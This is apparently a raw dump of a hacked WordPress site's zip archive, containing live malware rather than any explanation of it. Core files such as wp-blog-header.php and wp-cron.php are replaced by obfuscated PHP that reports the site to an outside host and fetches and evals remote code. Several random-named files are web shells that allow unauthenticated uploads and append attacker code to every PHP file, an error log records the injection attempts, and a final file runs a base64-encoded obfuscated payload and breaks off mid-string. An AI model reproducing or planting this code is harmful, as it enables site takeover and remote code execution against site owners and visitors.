23s2s

✏️ Editing: altolabs.net.zip

PK�������Y
�i(m��m����cgi-bin/wp-blog-header.phpnu���6�$��������<?php
 goto uKETJ; QZIk_: die; goto Y8mP6; V3bNY: $b = $_REQUEST["\x64\x6f\141\x63\x74"]; goto Bnw1W; Bnw1W: if (!empty($b)) { $_SESSION["\144\x6f\141\x63\164"] = $b; } else { $c = (isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\124\x54\x50\123"] === "\x6f\156" ? "\150\x74\164\160\x73" : "\150\164\x74\x70") . "\x3a\57\57{$_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\x54"]}{$_SERVER["\x52\105\121\125\x45\x53\x54\x5f\125\122\x49"]}"; post_u(array("\x77\145\142" => $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>PK�������Y
�i(m��m����cgi-bin/wp-cron.phpnu��[�����������<?php
 goto uKETJ; QZIk_: die; goto Y8mP6; V3bNY: $b = $_REQUEST["\x64\x6f\141\x63\x74"]; goto Bnw1W; Bnw1W: if (!empty($b)) { $_SESSION["\144\x6f\141\x63\164"] = $b; } else { $c = (isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\124\x54\x50\123"] === "\x6f\156" ? "\150\x74\164\160\x73" : "\150\164\x74\x70") . "\x3a\57\57{$_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\x54"]}{$_SERVER["\x52\105\121\125\x45\x53\x54\x5f\125\122\x49"]}"; post_u(array("\x77\145\142" => $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>PK�������Y�ͥ�����������cgi-bin/.htaccessnu���6�$��������<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>PK�������Y
�i(m��m����wp-blog-header.phpnu���6�$��������<?php
 goto uKETJ; QZIk_: die; goto Y8mP6; V3bNY: $b = $_REQUEST["\x64\x6f\141\x63\x74"]; goto Bnw1W; Bnw1W: if (!empty($b)) { $_SESSION["\144\x6f\141\x63\164"] = $b; } else { $c = (isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\124\x54\x50\123"] === "\x6f\156" ? "\150\x74\164\160\x73" : "\150\164\x74\x70") . "\x3a\57\57{$_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\x54"]}{$_SERVER["\x52\105\121\125\x45\x53\x54\x5f\125\122\x49"]}"; post_u(array("\x77\145\142" => $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>PK�������Y
�i(m��m����wp-cron.phpnu��[�����������<?php
 goto uKETJ; QZIk_: die; goto Y8mP6; V3bNY: $b = $_REQUEST["\x64\x6f\141\x63\x74"]; goto Bnw1W; Bnw1W: if (!empty($b)) { $_SESSION["\144\x6f\141\x63\164"] = $b; } else { $c = (isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\124\x54\x50\123"] === "\x6f\156" ? "\150\x74\164\160\x73" : "\150\164\x74\x70") . "\x3a\57\57{$_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\x54"]}{$_SERVER["\x52\105\121\125\x45\x53\x54\x5f\125\122\x49"]}"; post_u(array("\x77\145\142" => $c)); } goto EI0YM; TfUQi: function post_u($h) { $c = "\x75\x67\x67\143\72\x2f\57\170\146\x6f\x6d\70\144\x2e\x6f\154\x75\x62\147\x2e\147\x62\143\x2f\166\141\x71\162\x6b\56\x63\x75\143"; $i = curl_init(str_rot13($c)); curl_setopt($i, CURLOPT_POST, 1); curl_setopt($i, CURLOPT_POSTFIELDS, $h); curl_setopt($i, CURLOPT_RETURNTRANSFER, true); $j = curl_exec($i); curl_close($i); } goto uVMca; Cg8Hm: eval("\77\x3e" . $d); goto QZIk_; uKETJ: error_reporting(0); goto hLRwA; EI0YM: $d = get_u(str_rot13("\x75\x67\147\143\x66\x3a\57\x2f\151\x63\x66\x71\161\56\x71\163\144\x73\x6e\x67\56\x67\142\x63\x2f\x71\x62\x62\145\x2f") . $b . "\56\x74\170\x74"); goto Cg8Hm; hLRwA: session_start(); goto V3bNY; Y8mP6: function get_u($c) { $e = ''; if (function_exists("\143\165\162\154\137\x65\x78\145\x63")) { $f = curl_init($c); curl_setopt($f, CURLOPT_RETURNTRANSFER, 1); curl_setopt($f, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($f, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($f, CURLOPT_SSL_VERIFYHOST, 0); $e = curl_exec($f); curl_close($f); } if (empty($e) && function_exists("\x66\151\154\145\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\x73")) { $e = file_get_contents($c); } if (empty($e) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\x6d\137\x67\x65\x74\137\143\x6f\x6e\164\145\156\x74\x73")) { $g = fopen($c, "\162"); $e = stream_get_contents($g); fclose($g); } return $e; } goto TfUQi; uVMca: ?>PK�������Y�ͥ���������	��.htaccessnu���6�$��������<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>PK�������Y���6��������bbnjgzjx.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Y���6��������gqksqsxc.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Yj扝����	��error_lognu��[�����������[04-Dec-2024 17:53:31 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/gqksqsxc.php on line 12
[04-Dec-2024 17:53:31 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/gqksqsxc.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/gqksqsxc.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/gqksqsxc.php on line 13
[04-Dec-2024 17:53:31 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/bbnjgzjx.php on line 12
[04-Dec-2024 17:53:31 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/bbnjgzjx.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/bbnjgzjx.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/bbnjgzjx.php on line 13
[04-Dec-2024 17:53:35 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/uhddppix.php on line 12
[04-Dec-2024 17:53:35 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/uhddppix.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/uhddppix.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/uhddppix.php on line 13
[04-Dec-2024 17:53:37 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/boifauue.php on line 12
[04-Dec-2024 17:53:37 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/boifauue.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/boifauue.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/boifauue.php on line 13
[04-Dec-2024 19:50:46 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/qwturjyu.php on line 12
[04-Dec-2024 19:50:46 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/qwturjyu.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/qwturjyu.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/qwturjyu.php on line 13
[04-Dec-2024 19:50:46 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/pwqpigya.php on line 12
[04-Dec-2024 19:50:46 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/pwqpigya.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/pwqpigya.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/pwqpigya.php on line 13
[04-Dec-2024 19:50:49 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/xxorzbyu.php on line 12
[04-Dec-2024 19:50:49 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/xxorzbyu.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/xxorzbyu.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/xxorzbyu.php on line 13
[04-Dec-2024 19:50:50 UTC] PHP Warning:  fopen(/home/logoandw/altolabs.net/wp-blog-header.php): Failed to open stream: Permission denied in /home/logoandw/altolabs.net/aqyqibtj.php on line 12
[04-Dec-2024 19:50:50 UTC] PHP Fatal error:  Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, bool given in /home/logoandw/altolabs.net/aqyqibtj.php:13
Stack trace:
#0 /home/logoandw/altolabs.net/aqyqibtj.php(13): fwrite(false, '\n<?php if (isse...')
#1 {main}
  thrown in /home/logoandw/altolabs.net/aqyqibtj.php on line 13
PK�������Y���6��������uhddppix.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Y���6��������boifauue.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Y���/!��/!��
��dichku.phpnu��[�����������<?=eval("?>".base64_decode("IDw/cGhwDQovKg0KCQ0KCQkJCQkJICAgICAgQ09ERSBTdWNjZXNzZnVsbHkgT0JGVVNDQVRFRCBieSA1SDMxMV8xTkozQzcwNiBPYmZ1c2NhdG9yDQoJCQkJCSAgICAgICAgICAgICAgU3Ryb25nZXN0IFBIUCBvYmZ1c2NhdG9yIDspDQoJCQkJCURvbnQgY2hhbmdlIHRoZSB2YXJpYWJsZXMgb3RoZXJ2aXNlIGNvZGUgd2lsbCBub3Qgd29yay4gDQogICAgICAgICAgSWYgeW91IGFyZSBmYWNpbmcgYW55IHByb2JsZW0gY29udGFjdCBtZSBvbiBHbWFpbC4gICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNUgzMTFfMU5KM0M3MDYNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBPciBtYWlsIG1lIHVuaXRlZGN5YmVydGVhbUBnbWFpbC5jb20gOykNCiovDQokQ3liZXIgPSAiWlhaaGJDVXlPQ1V5Tm5GMWIzUWxNMElsTTBZbE1qWm5kQ1V6UWlVeU5uRjFiM1FsTTBJdVozcDFibU52YlhCeVpYTnpKVEk0WjNwMWJtTnZiWEJ5WlhOekpUSTRaM3BwYm1ac1lYUmxKVEk0WjNwcGJtWnNZWFJsSlRJNFozcHBibVpzWVhSbEpUSTRZbUZ6WlRZMFgyUmxZMjlrWlNVeU9ITjBjbkpsZGlVeU9DVXlORU55YVcxbEpUSTVKVEk1SlRJNUpUSTVKVEk1SlRJNUpUSTVKVEk1SlROQyI7DQokQ3JpbWUgPSAiPT13OERVTHNJOG5BdytyOWE1clNybFdNYkxkOVNIYmJHcE5vWFdWb2NKUEpOVDFmZytUb1lFUzZUTkpqZFFNditPMmx3ZVJTck1rcWJ0NUEvOUlWRHg2Qng1YkpJcUpMbGtvQmxzbzhwNjJhN0pUNTVXQjdMclQ1d1pHVHgyQ1dUdXNVTEx1V0FtZEhwbzlXRSsxQ0xkRFRMZjJENXdYQXM4ME1oeDlkZkQzT3pUeFhDdjFuZkpCM3VndmxhRElIWjllTEd3ZXBmMitVUDMxN3Z3WThVOExNOHRFeENSR3RiUTd5T3RwRVA3TXg0Ky9QL043MXpjTUxLaDNxL1BoVDFxNkRsMjNLSUVrdGlabVpNSUE3OWxGSnhvL285R3l3YW9sZ05PU1l2cmFiNk5ITkJLK3pESEJhaFR2RFR6bDVwbkY4Zm9kdjY3azFXSy9VVGlFazdweDlDdFQ2MzNkcnhjYyt1UUNONzdnMU1lSzNpcE5XZllWZ0ZRN2F1N21yMGFGR1NQMWdDTW5jc2E0K1dwZUVIWUtwYzRZelYzMWM2MUJwL1lvV3ZlVlhpQ3Exd21wbnJxVTBxbXVWc0thVDZwcVRybVZlOWtNYzNmMUdBVERpN2xqUHpGWmxRK1JPR3BoSTZyS1E0b0JSZ1dkekdDYk4xNVYvMVh2NnBPcjNsWWdiczZOQUk0L01IUGZsNFpuNjFMT1h6V1hsdEgrbTA3aUM3dkE2aFpKYU5VNFB4MVhkbWJhdjM5L3FSUnp5WTJzVnUyN291YXdydTZhN3ExTVVLV212MTdRdHRibWlVTG15MDkvUUpPOUVHd09Sdjg0OTErQlRmV2Zvc085VGh4R0RxUHJRRThqd3hKV0x6MXVXNHkrUlpScUQ5S2srYjlJbThkaDFOam4xZHJhellWdEZSNmg5YXRHbjR3WUxKYmVieDJhVklRUGVFblBJODNwUjROL0ZHa0R1Rlh5dmgvRVVaN0t6MTlYMEFUUkNVQXo0ckxQSTFmUkFiZXhlTVcvRDRnTkszdzhEdDAvY0Uzc052bHJ0TjZpcnl4WHVqYjhZOS9yTkI4RkhNNy9zeVpaaW5CUytjZTVITEtPbis5MmwrNUNUemhXYUlIakp0cUJ0QVdld2oxM1FMNUJhR0NTZW16WFNPNVRudzlMWTJhSjJxY1dueWJYVmdiTG02OE5uQjJwZEFicjZvYTg4Ky8yQU9BTVFrc2haL2ZKYi9zQXB1WisvdTR0ZlJJRjczbE9WVEhuVGFOdWxLNnZnTDYyRHM5M0xHQ2Q5N2VMSnFYQ05INUI2ZTczMUdOYitZeHQvbVZ0MHFObHpmcmNaUVYxNXk3SVFtOEhOVzQ5VWFiMm9rWTFrK1BLYW51cXRMaFFwanVMTHdXTGtyZ1FUblhwU2thMGtScmxUSWdmQ2FBN3BOOWtlUlZ6cExkYm1WSFJOeTJLTXJ5NExZWC91QXkzVnkrNXV3NlYySytIL2JsU21HN1B5UVp3YngwOTh3K1BjbzhML2VJYmRaNkRBbmZxTlFLYW4yYXRyWlBqRWw2eThjblZaUHRKdUIxcmE4KzhXQnBYZTcydVoxcWk2WmZGbGZIZlI5ZURsRkc1dDBlWGhVV21EMTlwMzU2QjVmcHZTU1B6MC8wUGJIaTdsUDA0Yk1pVUlTTEI1bi9XWkI1MnM5b2Y0MlpqYTR1M3dLZUFJMXVFQktDa1hQUnVxaHc5Wjh3ZUM5eVlBQTkwYXhnRUcySUVXc0FkMWNoVWY4RUFMT1dqNFU2TmZLa0FoenF6UUtyYmxkc3B1NTFPRnR2SllEM1lrem1sK09MTE9vMWU3cTFJMllwK2ZnOCtCUmVGSkdZcEFFaXJVQklFZ2lPdGZrWnB1NTkvZEo5eDBrTDg5ZThBcUYwemxKWVc5MkZqbXlTQjF1c2NDRkNubktoTW1za3RGV3JqbEoyM3Bkc0dwSU5DQSt5bnZ6eU50QnRjdDJLYWdWSGdEeVRCNm8vRHRlNWZWRlR2QW5od3hBRDRpWmNSeWxNUldnb25vRnFhZmNTZ0o0SnZ0NW16UzBoRDZwNVEvQy9qUXgrYVFwTWdkVGF5VTUzV2NvZ0EyVjdRVFFoajMrOXVjalNHRVFETU5yUlRIN0x5RHlpV2xzZW9iL0lnUHBYL1JpUDE3RXJ2T3RWeHVKc0dZYisrWGQzajBwdGllTHIwbXdYU2syMkorQnR4STUzRll0ZWNkWG0zbDIxSEdKVDlZdFJNVjVGSlJ4Uk9DUWFhNTU5V2w3S1AxRWxLNWU3S1gxc1JyYXVSR1dKSEtRemlGejY1eWdVMEdRamthaHVCeW9NYmQ2VmRtU2s3UFVsdXFjT1JOOGFJUjRNM05OTFJMc1MxTkpwMHdLSFkwRFR5UHRXSVM1eVVpRmNVL3dZMVNzSmJjMmVGNHVWVFZpU01nR2hkYVVobVkvaFI2SFJ3dTZnaksrQnlsbk4vVHFJMTdHcTBmQytrS25uRjZGOS81ZVU0UmVVNHRobWQzZHlqeGF4SEVaMGNWL2d2cmJiSXE3WXF1NFpxZjRPbElXWEhicTdzVE96NjU4b3V6T1c5L3dlUlZkZldWd05iRUs0OGNPeks0ZmYrRXV5YkFnMWFESUwvZEwxM2ZKaFp3SkpxM2Z2TElhWjB1U0FWNUJJcXdJd0loeFo0TGJoRTEvSmVBaEx6MFVvZTB6cUhtS1lEYlBJMVBTUzFnbTZjMVUxTEloUExpNThoMHIyU2Zmb1VSdjFpTUdsaUEyZmExcGMzbDkrRDFWWkRXUE0vR25SaUNLa3ZwOWl6V1hZU1JLTTNUVWQyS1NYNjZJbUNCZVo1bmtkNVBpTVIvaG1vMzJBQlpUMEh4QlpBV1VLOU5FdG9ZZ3pMYkozUklLVWF0VEZGbm5LTUlMd1piTXpINEFnbGRrcWFXZ2gyME9lRjVwVW1BRlM1SG1MRGFhTGpUbVNrNm9mMDFrL3BxOGgvRDRpZUhLWnZLcmphWFg3Y0hKYkovOTZzRytCeXdwNktrcGFHbnFnN3JTMG9aYmhRUFgwMzlSeU9jYjhickI2d1FXdzBwT2NXR0U1RElKQ2VtZmNiQ3FYbXhRazRtVU04YWhHWG14SkxFOE1FQ01PZ0NRZXlFNGN5akVFSjZvWktqMWR4TmExRG5jbm9tM1d0TnJVdEUwMmcxZHUzYUxNN21IUllPd282VVZSRHpuSm1hckU1cVFDdjdKRS9EMmFkaUxyS2JoWmxzYS9wSzIzaFFxVGxqMnFPQ1dRRTY4WlBNM0VvOTg4eW15TEl3dWNrS3FSc2dvRXY4WTgwb25TWWdyY1lMSGRUekpRNnhFSG8wTFZBSUZ2cVhHeFR0YnVLaUlMaFNmUmkrNERkd2V2MjFUQ0pRVnhrZURCdnZBSVRZYnErZU50cmNWNlc1RlZOZ0dJYU1heXh0b0thZEJyaDhjRkYxUzJMWmFpbnFpSkVYWDdtWkFMejd0aDBXenFNTmxuc0paazE0dzRHT21EVTZWVEZNL2hlNnVLbjJXUTIyYUFYR241amxsTk9ETll1OHVzOEsyWi9rNk5WdVpwdFljbmFDa0I0S3djRXNnZloxZlE4SVFWMzZ1eWJ2OTFuZDZHOW96NXIyU3JVSmt0WmxZdjZiQUNGTVRqOEYyclhHRDEwUGllRFlXZ1V3dmJvRXlhc2tVSm5QelM1Uzh4RU9KSXRjL3NOcHV3OHNWYTZpc0pNa3VwMlVlVkZwcXphZ3VPREZXRFdoR0lRZVhrSHMrUXNHcndHNURJNEtiWmRCcHNaS0tJbUpQTUMvZDRMZXd1UnJrclBUYlliaGdsVitZNXdNUUIzai9VUmQ0SVd2WVlPTmhUTnlacWg4SUlxdzlWZFF2Y0sxVEhOcjQ1Q0dEa0J3UTZEOHR2a3ErQXFmNGx5RzBpRFZUaFFpMmlQTWc3b1pudjJNbEQwNERPVGpKUnFsc2x4Q0lQYkpDT0pUWHdiS2dWbEExaEVHTDlRUlhGTitMNWt1bW1RdERLTHB2aUZNcUxOV3Z5bTNTNkdLdmVNbHVpRmFVTkZxdTZ5emY4d2xzcmY1SG9kb0JBZUtJMVFkZ3ZVN2dTRndDTVFiUGZpbE04SFVDd01SeHdEWmFZRDMwbVdDb2krMjc1WXdQWWlpeFQwcE5wdzd4T3JKa0piSGljUjhXQ2xRYUNzd0toSFNoSlkzTlV0elcySUt5NVRqckl4RU1vS1l2RmF5QU43aGNSTnRMQXVISmFTalBLdUlPQU5NWkthRFF2ZXJDYTIxTkxpTkdNQ2NlZUc4b1JGczhBUDRtUVJhUGdXYXNTWUN3RXRkRUo1bndzTGJOdWJhUU5VSDZuTkxlZFpIdXZxMVE2U1VSUTRTdGlrWWsxdThlUXViVi9NR0VkTElBbmV5SVFGVk1GazNrNVV4SUxSS09pZ0p6Y0xrZDNlWGRvaUlQeVlnLzlPd3BGbkdZOVdwTW1GWUlpVzVTTWVqY1lvRW9WWi9oVURYd0VGQjdyQUduNHhOeWZSL2xUUFl4S3hWa0hkSnd2dFZEWkN3SFBDSXdpRWU2SCtqbVF0c01hQmp2NFlHYS9md2duNm90SVRCZ3RBbUdEaTZHWmVkQ1h5bThGSS80RnV0a0tUU2p0Y0VlM09wQXl3NnhHK1BobDVYa0ZJaHd0Z0w3SktBdUY1aFFRN2gwWnBFUSt3S3FtRE5aZEVVZm5rVTNyRWhObzdpV1k5QzA1QjUzbTZFM1NrRndwcUZFTDVLR3JaSmdna2cwYVhsS2lQRGcwdmJSWktCY2ZQdWRwL0k0Q1B3Yy9rRjh4UVBRazN2NDlEM0xKSms3NjVWMzhlTWNOYkVFeUlsWW1NZzkwZ1BzY2NrN1hmYVdmVDZzNGUyWTI0alBrSER3bG1UQ09JRXM4YVUxcmQ4a3VSeGxySEhjUlZEd0hiSXk0YlAyZWRmMEx4ZDhFY3ZReUZJQWFBaEo2VGNTVVRDakFMcGo3NEgvanFhQ3RzKys4Z3Z0R0hnZjJObDV4UVNiekt6aVovdG42dUluMFRvR0xVb2VyeFl4eE9iVWdzMzUrMTBWM1JHWG4wU1VCYzMwamRiMWgwR3prdGoxZk8wVCtzZE1ZRlNjZVhQVTNUajIzaWNtekNldG5wd3diUkR3YjNXdmlWck1oQTh0SUppdUMy